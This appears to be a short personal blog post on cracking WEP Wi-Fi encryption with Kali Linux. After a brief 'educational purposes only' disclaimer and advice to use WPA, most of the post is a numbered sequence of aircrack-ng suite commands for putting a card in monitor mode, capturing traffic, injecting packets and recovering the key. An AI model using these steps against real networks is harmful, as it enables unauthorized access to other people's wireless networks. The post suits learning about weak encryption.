Cracking my WEP with Backtrack/Kali

*This post is for educational purposes only! Please do not use it against other people!

When my friends asks me to setup their router for wi-fi connection, I have always make sure that the encryption is WPA with a strong password. The reason being is that WEP can be easily cracked using a linux tool called aircrack-ng.

We will be using a linux operating system called Kali (Backtrack). The time it takes to crack the password depends on your wi-fi signal. A strong wi-fi signal is recommended. You will

1)airmon-ng
2)airmon-ng start wlan0
3)airodump-ng mon0
4)airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0
5)aireplay-ng -1 0 -a (bssid) mon0
6)aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0
7)aircrack-ng (filename)*.cap
